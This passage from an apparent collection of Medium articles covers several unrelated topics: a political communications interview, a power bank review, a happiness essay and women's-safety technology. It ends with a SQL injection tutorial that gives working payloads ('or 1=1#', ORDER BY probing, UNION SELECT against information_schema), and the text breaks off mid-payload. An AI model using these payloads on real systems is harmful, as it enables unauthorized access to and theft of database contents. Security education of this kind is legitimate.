evaluating that, whether it’s the CEO, the older head of comms, the CCO, have no metric for it. It’s just engagement — look at all the views you got, the shares you got, the likes you got, or whatever it is. You end up not actually doing anything. The better way to think about communications in this day and age is to identify audiences and then work backwards from there. Who are the people we are trying to influence and how are we trying to influence them? That is somewhat easier in a non-political sense because you can have these more distinct audiences. You have potential customers or an existing customer base. You have potential investors, you have the market, you have these elite stakeholders — particularly if you’re a tech company and you’re still in private mode and you’re gearing up to fundraise. Whether they’re going to write you a check or not, there’s a set of important people that think you are doing something good. If you are a larger consumer company, how are you communicating with the people who are either using your product or you want to use your product? In politics, that’s much more complicated because you can’t segment audiences as distinctly. You have to figure out all the different methods in which you’re going to reach people and sometimes that’s going to involve adopting new platforms or looking at it in new ways. If you have a platform or medium forward approach, you’re going to end up either not speaking the language or missing whole segments of people. SG: The political strategy structure that still exists now is all around planks (it’s just a question whether it works or not). These are my three big planks and this is why we’re going to do infrastructure week in October. We’re going to do these planks– education, immigration or infrastructure. Then we’re going to adhere to that very disciplined messaging, going around the country to talk about those three big things all the time. Is that doable anymore? DP: There are questions about the efficacy of it, for sure. That entire model is based around the traditional version of a news cycle. We’re going to give this big speech and there’s going to be coverage of that speech the day before, the day of, and maybe in some markets in the days after, and we’re going to maximize this moment. It’s not clear whether or not that still works. When the nation’s attention gets focused on something, for whatever reason, you can still maximize those moments, but dictating that attention is much harder than it used to be. And certainly the timeframe in which you can hold that attention is much shorter. You have to think about the tail of various things. We know that this group of people — it can be young men ages 18 to 40, or Latina moms, a certain geographic area — you can segment it any way you want. But you know that you need to persuade them in some way. Persuade them to support you or just to choose to get involved in politics. You’re going to do that over time. You have some sense of what information is relevant to them, because you’re doing a bunch of research on it, but you have to communicate with them on the time and place of their choosing, not the time and place of your choosing. Adhering to, “This is when the State of the Union is covered,” is just not how it works anymore. Particularly with the less politically engaged people, who are always the hardest audience to reach, and the audience everyone needs to reach the most. But that’s just not how they think about time anymore. And it’s not like, “Oh, it’s State of the Union week,” or, “Oh, it’s infrastructure week.” They don’t have those things on their calendar. You’re going to have to be a little bit more opportunistic and think, I have one year, two years, six months or three weeks to tell people these things. What are the ways I’m going to do it? Some of it is going to be through earned media that may be geographic or generational or interest based. Some of it may be paid communication. One element that more and more people need to engage in, is mobilizing your existing supporters to communicate with the people in their networks. How are we giving them the tools to carry that message? The Democratic Party, the Republican Party, and frankly all politicians, treat all of their supporters as ATMs and phone bankers and not as messengers. But as long as everyone has a phone in their pocket, they have the capacity to reach hundreds of people where their opinion matters more than the New York Times. SG: The way I break out successful versus unsuccessful communications strategy is that unsuccessful is typically reactive, successful is typically proactive. It becomes about being opportunistic. This happens on social media all the time, a meme that pops up is the most opportunistic moment to ride a wave. It’s the theme of the day, the theme of the week or whatever it is. I know that the next State of the Union it won’t be about whatever Biden said, it’ll be about a meme about someone’s reaction. Someone fell asleep, there was a fly in someone’s hair or someone clapped in a weird way. That’s what I remember from State of the Unions now. It’s that meme-ography of communications, riding these moments whatever they are. They could be deep and substantive or they could be completely silly, but it doesn’t really matter. It’s what people are talking about. DP: How do you leverage those moments? Creating those moments is very hard. You can try but you’re going to have a very low success rate. And people should try, but it’s really about when those moments happen, how do you use them to tell the story you want told? Not just engagement for engagement’s sake. From the position of my old stomping grounds in the White House, being that nimble is incredibly hard. It’s a similar argument on a different scale for a large company, but that is a very challenging thing. You have a comms plan, you have a to-do list, you have an agenda, you’ve got a whole bunch of other things that are happening on any given day that could stand in the way. The hardest decisions are about when do you walk away from your communications plan and take the advantage of this specific moment? Because it could be a risk. There is some risk that it’ll do damage to you or it’ll be just a waste of time, something you can never get back. Those are really hard decisions to make in this day and age. SG: Let’s just pretend you actually don’t have a plan. You actually have zero compass, you just react to shit every single day, like the Trump White House. What’s more effective? DP: This is one of those things that’s very hard to reverse engineer. You can look at that and say, well, Donald Trump is historically the least popular president in history. To an extent that you can, on days other than election days, provide some metric of success for a political figure, approval rating is the closest proxy for that. You could say, well, he is the least popular president in American history. So clearly his messaging strategy was not awesome. Then you can look at it and say, he came within 40,000 or so votes across four states from getting reelected in the middle of a pandemic in a historic recession. So maybe it was successful. It’s hard because electoral outcomes are such complex, dynamic things. How do you factor into that voter suppression or larger bits of disinformation? It’s just hard to say whether his communication strategy worked or it didn’t work. There were probably some dos and don’ts you could take away from how Trump did things. He certainly was not disciplined in any way, shape or form in using those moments to tell a consistent story about himself. There were times where he did and he used them very well to communicate with his base. But his communication strategy was more instinctual than intellectual. Whatever grievance he had that day, he would react to. That could be picking a fight with Jemele Hill or Steph Curry. It’s hard for me to find electoral strategy in picking a Twitter fight with Debra Messing on a daily basis. That stuff doesn’t really work. But the one thing that you can take from it is he held the nation’s attention almost nonstop for four years. That blotted out the sun for other people, and made it harder to make other arguments. It’s certainly why he won the Republican primary. He started out with 100% name ID, in the lead, and he consumed all the oxygen in the room. No one else could ever get enough attention to pose a real threat to him. That doesn’t work as well in a campaign against a former sitting vice president who also has 100% name ID. Is dominating the conversation nonstop at whatever cost a good political communication strategy? It may be one of things that’s not even available to anyone other than Donald Trump. It’s not a thing Joe Biden could do if he wanted to. SG: Joe Biden is clearly not dominating the conversation. He’s playing very much by his own rules, which is certainly not what he promised when he was elected. He’s not doing anything different than what he was doing in the campaign. If you were currently sitting in Washington, D.C. working in the White House, what conversation would you be having around how to evolve the strategy? DP: What they are going through right now is very reminiscent of what we went through. A very different media environment, obviously, but similar calculus to when we were trying to pass the Affordable Care Act in 2009. No margin of error. We had to get every senator, all 60 senators. We know that failing to pass it is an epic disaster that could cost us reelection and deny millions of Americans life saving healthcare. The most important thing was to get it passed. You are forced to choose between this terribly messy legislative process — where you have to take a backseat because of the egos of people in the Senate and the fact that you have limited sway. They had Joe Manchin, we had Joe Lieberman and Ben Nelson, a conservative senator from Nebraska, who were holding our efforts to pass healthcare hostage. Like Manchin and Sinema are doing to Biden now. You have to take water in the short term in order to get this thing passed because if you don’t get it passed, you are screwed. And this could be your last chance of doing anything significant. Going forward, communications wise for Biden as they are still trying to pass this bill, there are limits on what they can do to improve their standing or to put in place really new, clever communications up until that moment. They are held hostage by this process and by people with whom they have limited sway. Traveling to West Virginia and giving a barn burner speech attacking Joe Manchin for standing in the way of his agenda is not going to get him there. It’s quiet diplomacy and hoping for the best. So let’s presume this thing gets passed. How do you adjust your strategy? There are a couple of things to look at. First, they are doing what worked for them in a campaign, but the circumstances are very different. When I worked with him in the White House, Biden always used to say, what you want in politics is for someone to compare you to the alternative, not the almighty. During the campaign, he could sit back because there was this very clear domineering alternative. Biden’s campaign strategy was clever to use Trump’s greatest strength against him. He took a step back and said, “Yeah, sure, you want to dominate the conversation? Well, why don’t you damage yourself repeatedly? Wake up every morning and punch yourself in the face on Twitter, and I will reap the rewards of that.” Trump is off Twitter. For everyone, other than the most politically obsessed people in the world, Donald Trump is completely absent in the public conversation. So there was no alternative, Joe Biden was just being judged against himself. Second, his strategy of being quiet and less omnipresent than Trump was based on the promise that we were going to get the pandemic under control and return to normal. Through reasons that are completely not Joe Biden’s fault, we have not had that. We are still in crisis mode. So a president that seems somewhat absent and a continuing crisis can make some voters see weakness, et cetera. The third question for them as they round the corner the next year is how much more aggressive can they be with Republicans — to raise up the specter of the alternative, whether that’s Trump, some set of completely insane Republicans in the house, Mitch McConnell or someone else. How do they have a contrast message that seems authentic to who Joe Biden is and is consistent with his pledges to unity? That is a pretty tricky needle to thread, and they have to get there. I have 100% confidence they will, because we’re about to hit election season. When he’s out there campaigning for a lot of Democrats, what’s the message he’s going to offer in these pretty tough midterm elections? SG: In the spectrum of years that we talked about, from 2008 to 2021, in terms of where we are in the media environment — if you are a company or a politician and you’re leveraging it right, what year is Biden operating in now? DP: Probably 2009, 2010. I think that’s his mentality. He has a very smart digital staff who have spent lots of time with our old friends who pioneered this in my White House days. They do some really clever stuff with the very limited tools available to a White House digital staff. His go-to place right now is a town hall on CNN. When he wants to fill a void, that’s where he goes. I’m sympathetic — they are a limited number of really cool media options. Particularly in a pandemic where the visuals you can have are limited, the number of people you can be around is limited and the logistics are impossible. Obama would go barnstorm a bunch of factories in a bunch of battleground states. It’s just exponentially harder in this environment than it would be if we were not dealing with the pandemic. Ultimately, the real test of how this will look for him, is not just what happens in the White House, it’s what the larger Biden political operation and the Democratic Party apparatus looks like outside of the White House. There are just limited tools in the White House of what you can do. You can’t merge paid communications or media. You have this group of pretty ordinary reporters who travel everywhere with you and dominate the conversation. There’s limits to what you can do about that. There has been less (for reasons I’m pretty sympathetic to) experimentation with newer platforms and things like that. I’m not saying Joe Biden should do a bunch of TikTok, that’s not what I mean. Just getting out into different venues and meeting voters where they are. Particularly if you look at where there’s been a decline in his approval rating. It’s among four groups of voters — black voters, latino voters, younger voters of all stripes, and independents. And independents is a pretty broad term that fits lots of people. If you want to get your approval ratings going back up, which you would obviously want, the lowest hanging fruit are Democrats. What’s the communication strategy to directly reach out to Black voters, Latino voters and young voters who have become dissatisfied? SG: It’s probably not going to be a CNN Town Hall. DP: What are the specific outlets where you’re going to find those people? It could be media outlets, it could be something with influencers who have real power in those communities, it could be organic digital stuff that is really targeted. There are lots of different ways to do it. Once they get this legislative process behind them, I’d be curious to see how they approach that. I always used to say in the White House, the only interview that is worth doing on its own, is 60 Minutes after a big football game. That’s it. Everything else, given how fragmented audiences are, is barely worth the president’s time. What you care about is not how many people are going to tune into the Today Show or your CNN town hall, which if you’re lucky, is going to be a million people. It’s how those clips going to be used? Are you going to make news that ends up on all the morning shows the next day? Even more important, is it going to be widely shared? The most viral clip that Joe Biden did throughout the entire campaign was the conversation with the woman in the elevator. Ironically enough, going up to The New York Times editorial board. The second one was the conversation with the kid who had the stutter in New Hampshire. How are you finding those things and then propelling them? How are you thinking about other ways to do that? Those are hard moments to manufacture. Neither of those were ideas on a whiteboard in the campaign headquarters. They were things that happened that they then did a very good job of turning them into moments that lasted. SG: I have to imagine there’s lots of smart people who are coming up with moments that are getting killed because they’re worried about some D.C. thing and or some other machination. Personally, I can’t even remember a Joe Biden tweet. I read them all the time, but I can’t tell you what one ever said. They’re literally intentionally boring. They’re made not to share, because they’re so vanilla. That’s his personality in some ways and that’s being authentic. I get it. But there’s got to be some creativity and some inspiration that comes from that. Whether it’s the White House or the Democratic infrastructure — that’s going to be the thing that’s going to change those audiences that you talked about. DP: Biden is great in unscripted moments. And look, it comes with risk. Every once in a while as VP, he would say something that would cause a flare up that would distract from the message. But Joe Biden being Joe Biden is great. We learned this from President Obama who was a historically talented, natural communicator. Finding those unscripted moments within the confines of the White House, behind the big presidential podium or the East Room is really, really hard. And it’s really hard if you can’t leave the White house. One of the reasons why Obama loved leaving the White House to travel was he would have conversations with people at the ice cream parlor or a factory floor in Ohio. Those things could be the moments that took off, because it was without the formality of the White House where everyone acts so serious and everyone has on a coat and a tie. Hopefully the world gets easier and they can get out and interact with people. I remember talking to some folks who worked on the Biden campaign, that it was so hard during the campaign. He got his energy from the rope line, from just talking to people and meeting with them. He couldn’t do any of that because of the pandemic. You can do more of that now than you could in the worst days in 2020, but it’s still really, really hard. And it’s hard for any president. SG: You’ve been in the Valley since 2015. Obviously you’re on Twitter, you worked at GoFundMe, you’re connected into our industry out here. There’ve been a lot of people doing communications who’ve come from the political world into the technology world. What’s been the impact of that? DP: The technology sector has become much more enmeshed in politics. Whether it’s debates over content moderation or consolidation, or you’re a company like Uber, Lyft, Airbnb and are bumping into the regulatory structure at the state, local, and federal level. 10–15 years ago when people moved from politics to tech, you were bringing your political skills to a non-political environment. That could be somewhat useful at times, even though there’d be a lot to learn in that transition. But there was a tempo, there was aggressiveness, there was a rapid response, crisis comms muscle memory in politics that could be very useful in those settings. But it was really apolitical. A lot of tech was separate from politics. That has changed slowly over time, and then dramatically in the last few years. Facebook has basically been in a crisis communications mode nonstop for five years. The impact is both good and bad. I have a lot of very smart friends who have gone into some of these companies and been very helpful in navigating them through crises that people without their set of experiences would not have handled as well. Some of the bigger companies are now chock-full of former political operatives from both parties. Sometimes, because that’s the mentality in politics, they’re naturally hammers and treat everything like a nail. It’s overly aggressive, overly ridiculous. It’s harder for political people to have a longer time horizon for how to win battles. In politics you’re going to be unemployed in six months, two years, four years or six years, depending on where you work. If you’re an established company that’s going to be around for a long time, you have to play the long game about how you approach these things and how you try to solve them. You don’t have to try to win every battle as if it were life or death. SG: The political folks bring a lot of skills, but there’s an element of this nihilistic, it’s just a game mentality — I’m on this team, I’m here to win. Then if I come to a company, it’s the same thing. I’m just here to win. Maybe it’s just this conversation, this debate or whatever around this one thing that we’re doing instead of actually trying to build this longer term relationship because this thing’s going to be around for 30+ years. DP: When I was starting to look for my post White House employment, I certainly didn’t expect it’d be a combination of book writing, podcasting and newsletter writing. I thought I would eventually work at a company. I was talking to a friend of mine who I’d worked with in the White House who was doing the rounds with a bunch of tech companies. They were excited about this one company because it was cool and exciting, and in an interview they were asked, “Are you passionate about products?” My friend was like, “What the fuck are you talking about? I like products. I use them, but I have no passion for products — how they’re shaped or how users use them.” That was this moment where I was like, oh, what motivates people to work on these things is very different from what motivated me in my previous life. The magic of the mechanics of how you make something easy to use, that’s an entirely different world. Whether it’s people coming from the private sector to politics and vice versa, or standard media to politics and politics to media — in any of those situations there can be some level of humility. You have something to offer, but there’s so much to learn. It’s a different world and you have to get used to being in that world. What has made the people that you are working for and working with successful is different than what made you successful in your other business. They have a different world view and you can learn from that. And you can certainly learn it. You and I have many friends who have made that transition incredibly successfully in a wide array of places. But you can only make that successful if you are willing to listen. Sometimes people in politics, because of the nature of that business, are less willing to listen in those scenarios. In politics you think, what could be more exciting or important or impactful or pressure filled? And then you’re seated in a boardroom and people are like, “We have this crisis.” And they think, “Well, fuck your crisis. Were you there when we had this terror threat or the global economy was going to collapse because we were going to default?” There are times when people think your crisis is less than my crisis, but that doesn’t mean that they are the same types of crises. Having humility is incredibly important for that transition. SG: Another big change that intersects the technology world and politics, is the fact that politics is everywhere now. We hit an era, in the last five years, where the political conversation became part of the daily employee conversation. Further enabled by things like Slack and other ways that employees can communicate. And employees gained a lot of power based on their beliefs of how companies should operate on these different political issues. What are your thoughts on this divide between too much internal political speech to zero political speech? What is the right balance and how should companies be handling this? DP: The transition was so stark after Trump’s election. I started at GoFundMe in December of 2015. While I was there, there were a handful of people who were mildly interested in politics, some of the communications people had come from politics or had been in politics and were pretty interested. But the engineering team did not care. I’m sure many of them probably voted in the primary but it was not a conversation. I remember we scheduled our company retreat on the night of Obama’s last State of the Union. In D.C., no one would ever schedule something in the State of the Union, but no one at GoFundMe ever thought of it. Flash forward to February in 2017. Our office back then was a giant open space. I walked past the section where all the engineers sat and they were huddled around the TV watching Betsy DeVos’ confirmation hearing. I was like, oh, things have very much changed. I promise, none of them could have named Arne Duncan or John King Jr . — Barack Obama’s education secretaries. Look, this is a hard choice for companies to make. Particularly at the companies who were at the forefront competing for engineering talent, the employees have all the power. And that’s great — workers should recognize their own power in these situations. The fact that Google and Facebook were in a bidding war over how much dry cleaning to give. People realize, oh, that means I can go ask for more stuff, and stuff that’s much more consequential than free meals. They realize, “I have the power to influence this place that so desperately needs me.” This becomes increasingly problematic for companies where there’s a real divergence between their stated values and their actual values. Where it’s, “Join us. We’re going to change the world. Connecting people is great.” And then you realize, “Oh, we’re going to censor our stuff in China.” If you sell your employees and your customers, or your consumers, on one set of values, but there’s a difference between that and your actual set of values, then you’re going to have a huge problem. That’s why so many people at some of these companies were so upset at some of the decisions made in recent years. They’ll ask, “Isn’t that what you promised me? I’m not going to Exxon. I’m not going to Goldman Sachs. I’m coming here to change the world.” You think this is one of those rare places where you can do good and do well at the same time, but now, oh wait, we’re not doing so much good and you care more about doing well than doing good. So I think a couple of things. One, companies have to be much more realistic in the stories they tell about themselves to their employees. In some ways, Amazon, which has a whole host of problems and is at the forefront with a whole bunch of issues, but you hear less about internal dissent there. I remember doing an exercise with a company helping to come up with their mission statement. We looked at all the big and audacious goals for all this company — explain the world, connect the world. Amazon’s was something like, “Be the world’s largest retailer”. This is what we want to do. We are going to make a ton of money. That’s why we’re here, that’s why you’re here. There’s no mystery. And if you’re on board with that, cool. I’m not saying that everyone should develop nihilistic approaches to the world, but don’t lie to yourself and to your employees about who you are. Second, people have to be more upfront about where things stand — there is somewhere between anyone can say anything they want on Slack, and we are going to take our global content moderation problem and apply it to our own employees. Being very transparent about what is okay, what is not, what are the forums in which we would encourage you to do these things? A lot of organizations have a Black employee association or a women’s leadership group. You set up forums where people can have conversations about topics that could be contentious in the workplace, but they’re not happening on a company-wide Slack. Setting up some ground rules that acknowledge that people are going to talk about these things, they’re going to care about these things and they need a forum to listen — that doesn’t get in the way of why everyone is there and what their primary reason is for being there. It’s not easy. It’s always going to be a little bit messy, which is probably good. But a little more transparency about what the rules are, would be very helpful. SG: Another similarity between D.C. and Silicon Valley is the constant back and forth between the press and the organizations (here it’s companies, there it’s politicians). They sound very similar all the time, but I don’t know if people in the technology world actually know how similar it is. What’s your take on how we should be treating the press? How should the press be contextualized in this moment now, given their relative significance, whether that’s shrinking or not (and certainly is). You stated up front that the role of media relations for comms people is maybe 10% of the job. But if you talk to the press, they think it’s 95%. There’s this clear disconnect, both from executives and from the press about what we actually do. What is your take, having seen both worlds, and where do you think this is headed? DP: The tech world is rapidly going through a transition that happened in the political world a long time ago. If you look at the political era of the ’40s, ’50s, ’60s, there was this very close relationship between reporters and politicians. Obviously you would get hard coverage, but there were certain secrets that were held and they were in it together. I’m not saying that ever happened in the tech world– SG: It did a bit. DP: Some of it certainly has come out about some leaders. There were secrets that everyone knew that no one said, or no one ever reported to a wider audience. But it was much more friendly and personality driven. We love the origin story in a dorm room, in a garage, credulous coverage of tech. That shifted very quickly, really in the last few years. Obviously what happened in the 2016 election played a big role. Theranos played a huge role. As companies got bigger and more powerful and started to impact other people’s lives and the entire economy, whether it’s Uber and Lyft and Airbnb, all these huge companies had this huge impact. So the tech industries are being covered in a way that feels more like politics, which was probably more commensurate with their influence in the world and the size of the companies than it would have been before. It’s been a very, very bumpy road. There’s been a lot of frustration on both sides. There’s a sense that coverage is now inherently and always negative. There’s a presumption of guilt in all situations. And that’s how it is in politics. The press decided around the Vietnam War and Watergate era (which has been good in a lot of ways), that our job, in part, maybe in whole, is to hold the powerful accountable. You lied to get us into a war, committed crimes in office and no one would know that, were it not for our dogged reporting. So we’re going to do that, we’re going to hold your feet to the fire in all scenarios. That is certainly the approach in the tech industry right now. You have to separate aggressive PR tactics and tough statements and responses with the actual bullying of reporters, that’s happened to reporters that we know. That is obviously terrible and bad under all scenarios. In a weird way, the press, whether that is the New York Times, Washington Post, Wall Street Journal or it’s tech specific publications or the growing number of well regarded tech writers who are independent, like Casey Newton — they are more influential to the success and failure of tech companies than the political press is to the success and failure of major political figures. Because micro audiences matter a ton to particularly companies who have not yet reached complete viability. Look at what happened to Theranos. The Wall Street Journal took down the hottest startup. If a series of stories convinces the small handful of people who control the venture capital dollars — that’s the end of companies. Doesn’t excuse doing anything dishonest or bullying or anything like that, but I understand where that tension comes from. The political press has influence in politics, but it’s pretty limited and pretty fragmented. To truly take down a politician, you have to convince millions and millions of people. And millions and millions of people don’t follow these things anymore. But you only need to convince a couple thousand people, those people of importance, to have a dramatic impact on the fate of a company. ### Previous Mixing Board Studio Sessions are here. Mixing Board’s community of comms and marketing experts are helping organizations with their 2022 planning. For more, see this post.

https://medium.com/@mixingboard/dan-pfeiffer-on-humility-and-meeting-people-and-voters-where-they-are-bdae27690e0e

['Mixing Board']

2021-12-16 19:40:47.781000+00:00

['Communications', 'Leadership', 'Public Relations', 'Messaging', 'Politics']

This is Magical: Rock Sugar 2-in-1 Power Bank and Wall Charger

Technology is something that surprises me every time. When you think you’ve seen it all — you just take a closer look and get a new dose of technological wonder. Around 17 years ago I’ve been dreaming about a small gadget to be able to take it anywhere and to watch movies. Now I have that gadget in my pocket. Now I dream for it to be charged the whole day. But, with this thing it should not be an issue. The only thing I am mad about is that I was not the one who came up with this idea. Just imagine combining two the most obvious gadgets: power bank and wall charger. Sounds pretty logical, right? Yep, it definitely does but I can’t see me selling it to the people in need. Let’s be honest: one of the biggest issues of modern gadgets happens to be their battery. No matter the capacity, they loose juice pretty fast. An, half of the day we enjoy touchscreening and the rest of the day we search for a spot to charge our smartphones. We carry power banks to be mobile and be able to charge our gadgets on the go plus we carry our wall chargers in order to charge our power banks and our gadgets when power banks are empty. Putting a reasonable power bank in a wall charger a size of MacBook charger is genius. After all, sooner or later, you will have to have both of them charged. Now, combining one with the other, you do not have to worry about charging two separate gadgets. Just plug one battery box in any socket, plug in your smartphone in that device and get them both juiced up simultaneously. Luckily, there is a satisfactory number of those available for purchase — you just need to pick one. Though, the one that I really liked was Rock Sugar 2-in-1 Power Bank. It is more than affordable (around 30$), happens to have 2 USB type A ports and 1 Type C port as well as LED indicator and, of course, wall plug to get some juice onto it. It packs a decent battery of 5000 mAh that is not the best offer ever but definitely should be enough to keep you through the day. After all — you will always be able to charge the Rocket Sugar when necessary. Moreover, you can use it as travel portable charger since it has foldable and interchangeable socket plug ins. Something one can only dream about. I do not know how about you — but I am definitely buying that thing and want to give it a try. Now, with the amount of power banks in my house, I can last without electricity for a month at least. Any ideas about this Rock Sugar 2-in-1 Power Bank? Will it be useful for you? Let me know in the comments!

https://medium.com/yolofreelance/this-is-magical-rock-sugar-2-in-1-power-bank-and-wall-charger-564b3ce4da6b

[]

2019-03-13 04:57:44.928000+00:00

['Charger', 'Smartphones', 'Yolofreelance', 'Slanzer Technology', 'Enhancing']

A Better Way to Find Lasting Happiness

Photo by zenad nabil on Unsplash A Better Way to Find Lasting Happiness Deepak Chopra™, MD Because everyone has self-awareness, human beings know what it means to be happy or unhappy. This feeling is so basic that seeking happiness comes naturally. Yet for some reason happiness proves elusive, and feeling that you can find permanent happiness can seem futile. If we look closely, however, there are three ways to be happy. The first two arise in everyone’s life; the third is rare. But the third way is the only one, after centuries of seeking, that has stood the test of time. Every age is challenged to rediscover the third way, including our own time. The first way to be happy is to follow your impulses without judging them, taking life as it comes from moment to moment. This is the way of babies and small children. They are motivated by the next thing that occurs to them, and they have little ability to predict what will turn out to be a sad or glad experience. Impulsiveness lingers in many people after they become adults, but the vast majority of people move on to the second way of being happy. The second way is to select the experiences that bring pleasure and reject those that bring pain. As an outline this sounds simple. It isn’t hard to know what you like and dislike, yet life is unpredictable. No matter how carefully you assess every situation, you can wind up in a relationship that has soured; old satisfactions can become boring; without knowing why, you can find less satisfaction in your life over the years. The second way falls prey not just to these problems or to the randomness of illness and accidents. At bottom, psychologists have discovered that people are bad at knowing what will make them happy. This is especially true if you try to conform to social norms, which assign happiness to repeating what past generations have done. Getting married, having a baby, winning a promotion at work, and accumulating more money and possessions all conform to the social template for happiness. Each is undermined by problems that society doesn’t show us how to cope with, such as high stress, anxiety, and depression. But the second way remains the dominant way everywhere you look. The fortunate make it work for a while, even a long time; the unfortunate are casualties left beside the road. There is a third way to be happy, however, that is outside the conformity of social norms and has nothing to do with pleasure and pain. This is the way of Vidya, the Sanskrit word for self-knowledge. On this path you choose experiences for their value in helping you to wake up, evolve, and become more conscious. Calling it spiritual doesn’t correctly describe what the third way is, but it is closely identified with spirituality, because God and religion have been the focus of higher consciousness for so long. In a modern secular society, choices are made outside the confines of God and religious belief, which makes the third way open to everyone. Unlike the unpredictable nature of pleasure and pain, the experiences that lead to Vidya are known and proven. They include the choice of Peacefulness over violence and anger Acceptance and tolerance of others Acting out of love, kindness, and generosity Devoting time to creative endeavors Being of service to those in need Being altruistic instead of being selfish Not contributing to your own stress or the stress around you Speaking and living your own truth Not being dependent on the good or bad opinions of others Refusing to accept second-hand beliefs and prejudices. More important than any of these choices, however, is the state of awareness that supports them. It will increase your happiness to make right choices from an evolutionary standpoint, certainly. But happiness doesn’t follow a blueprint or ground plan. You need to be in a state of awareness that is self-sufficient, that spontaneously puts you on the correct path in every situation. Ironically, the third way closes the circle, because you follow your impulses as they arise, just like a young child, and take life as it comes. The difference is that you are conscious of being in a state of awareness that isn’t unformed or disorganized like a child’s. The poet William Blake called this state “organized innocence.” In Buddhism and other Eastern traditions it is called “choiceless awareness.” I realize that both terms can sound confusing, because our lives are totally intertwined with choices being made every day. Yet you can shift from the ego level, where choices are made (not very well) by predicting what will increase pleasure and decrease pain. Instead, if you live from a deeper level of awareness, there is no either/or dilemma. The situation is met by the response that vidya knows is right for you. There are many routes to the third way, beginning with meditation, yoga, and various techniques to become more mindful, self-reflective, and awake. Without them, according to the world’s wisdom traditions, permanent happiness is a dream. The important thing to know is that you are not forced to choose between the first and second ways. Knowing that they will not work, no matter how hard you try, is the opening that allows the third way to emerge. Intention sets the path in motion and unfolds every step along the way. I can’t think of a more important lesson that life has to give. DEEPAK CHOPRA™ MD, FACP, founder of The Chopra Foundation, a non-profit entity for research on well-being and humanitarianism, and Chopra Global, a whole health company at the intersection of science and spirituality, is a world-renowned pioneer in integrative medicine and personal transformation. Chopra is a Clinical Professor of Family Medicine and Public Health at the University of California, San Diego and serves as a senior scientist with Gallup Organization. He is the author of over 90 books translated into over forty-three languages, including numerous New York Times bestsellers. His 90th book and national bestseller, Metahuman: Unleashing Your Infinite Potential (Harmony Books), unlocks the secrets to moving beyond our present limitations to access a field of infinite possibilities. For the last thirty years, Chopra has been at the forefront of the meditation revolution and his latest book, Total Meditation (Harmony Books) will help to achieve new dimensions of stress-free living and joyful living. TIME magazine has described Dr. Chopra as “one of the top 100 heroes and icons of the century.” www.deepakchopra.com

https://medium.com/@deepakchopra/a-better-way-to-find-lasting-happiness-a74fbfdbfe6a

['Deepak Chopra']

2021-07-12 15:01:42.572000+00:00

['Happiness', 'Awakening', 'Consciousness', 'Awareness', 'Peace Of Mind']

How can we use technology to increase women’s safety?

Simple and inexpensive technologies that can be built in today’s age to help keep women safe. In countries like India where a woman is unable to step out after dark or in isolated areas because of the fear of getting molested or raped, women’s safety is a huge issue. India is rated as one of the most unsafe countries for women in the world. Violence against women and sexual harassment is unfortunately so common in India that numerous sources state that in India, a woman is raped every 15 minutes. Even in metropolitan cities like Mumbai and New Delhi, atrocities against a woman happen on a near-daily basis. The goal of this post is to shed light on the different technologies that can be built to enable and enhance women’s safety. In today’s age, it has become fairly easy to build a GPS enabled device. All cellphones have GPS these days. These days, even smart-watches, headphones, and other accessories like rings come with a GPS/GPRS enabled. While the GPS cannot always point to an exact location, alert signals like a cop car that shows up even at an approximately accurate location may still be enough to deter an attacker. Most of the devices listed below will assume that the device is tied to an app on the user’s phone which is GPS enabled and can send alerts to the police/loved ones with the user’s GPS location.

https://byrslf.co/how-can-we-use-technology-to-increase-womens-safety-dc803e2ae08a

['Uttara Shekar']

2020-07-10 15:47:04.543000+00:00

['Women', 'India', 'Equality', 'Consent', 'Beyourself']

How to perform Manual SQL Injection Exploitation ?

Hello Guys! You’re warm welcome in this advance hacking blog. We have learned various Topics about CyberSecurity from here, but that is no end. again, we are going to make this post also interesting one of them. Now today I came here to share about How to perform Manual SQL injection? What is SQL injection (SQLi)? SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve. This might include data belonging to other users, or any other data that the application itself is able to access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application’s content or behavior. In some situations, an attacker can escalate an SQL injection attack to compromise the underlying server or other back-end infrastructure or perform a denial-of-service attack. Disclaimer! This Post does not Promote or encourage Any illegal activities, all contents provided by This Website is meant for EDUCATIONAL PURPOSE only. How to perform Manual sql injection? Here, are some steps to perform Manual sql injection. so, step by step follow me- Pre-requisites: Knowledge of SQL (Structured Query Language), basics (CREATE, READ, UPDATE, DELETE) Backend Technologies (PHP, JSP, etc.) Web application basics Working Methodology Application says: Enter a User ID - Backend Query: SELECT first name, last name FROM users WHERE user_id — ‘$id’; User Input: 1 Backend Query: SELECT first name, last_name FROM users WHERE user_id = ‘1’; STEP1: Now use the error base technique by adding an apostrophe (‘) symbol at the end of input which will try to break the query. User Input: 1' Backend Query: SELECT first name, last name FROM users WHERE user_id = ‘1’’; Now, you can see we have got an error message which means the running site is infected by SQL injection. Malicious User Input: Backend Query: SELECT first_name, last_name FROM users WHERE user_id= ‘1’ or 1 =’1' OR Malicious User Input: Backend Query: SELECT first_name, last_name FROM users WHERE user_id= ‘1’ or 1 = 1# Finding Number of Columns in the Current Tables- STEP2: Now, using the ORDER BY keyword to sort the records in ascending or descending order for id=1 Malicious User Input: 1' ORDER BY 1,2,3,4,5,6,7,8# Backend Query: SELECT first_name, last_name FROM users WHERE user_id = ‘1’ ORDER BY 1,2,3,4,5,6,7,8#; Now, You can see we have got an error at the order by 9 which means it consists only 8 records. Finding reflections of output- STEP3: Now, It is showing the result of the reflecting on the output screen also. Malicious User Input: 1' UNION SELECT 1,2,3,4,5,6,7,8# Backend Query: SELECT first_name, last_name FROM users WHERE user_id = ‘1’ UNION SELECT 1,2,3,4,5,5,7,8#; Extracting sensitive information- Common commands: version() — This will return the SQL version that is running on your server. user () — This will return the current user name and host name for the MySQL connection. database() — This will returns the name of the current database. STEP4: Now, the next query, we will try to fetch table name inside the database(information_schema.tables). (a) List Table names: 1' UNION SELECT 1,table_name,3,4,5,6,7,8 from information_schema.tables# Backend Query: SELECT first_name, last_name FROM users WHERE user_id = 1 UNION SELECT 1, table_name, 3,4,5,5,7,8 from Information_schema.tables#; STEP5: After that, we will try to fetch column name inside the database(information_schema.tables). (b) List columns name: 1' UNION SELECT 1, column_name, 3.4,5,6,7,8 from information_schema.columns where table_name= $TABLE_NAME$# Backend Query: SELECT first name, last name FROM users WHERE user_id = 1' UNION SELECT 1,column_name,3,4,5,6,7,8 from information_schema.columns where table_name=$TABLE_NAME$#; STEP6: Now, Again we will try to fetch information of column name from the selected table name inside the database. Extract data off columns: 1' UNION SELECT 1, $COLUMN_NAME1, 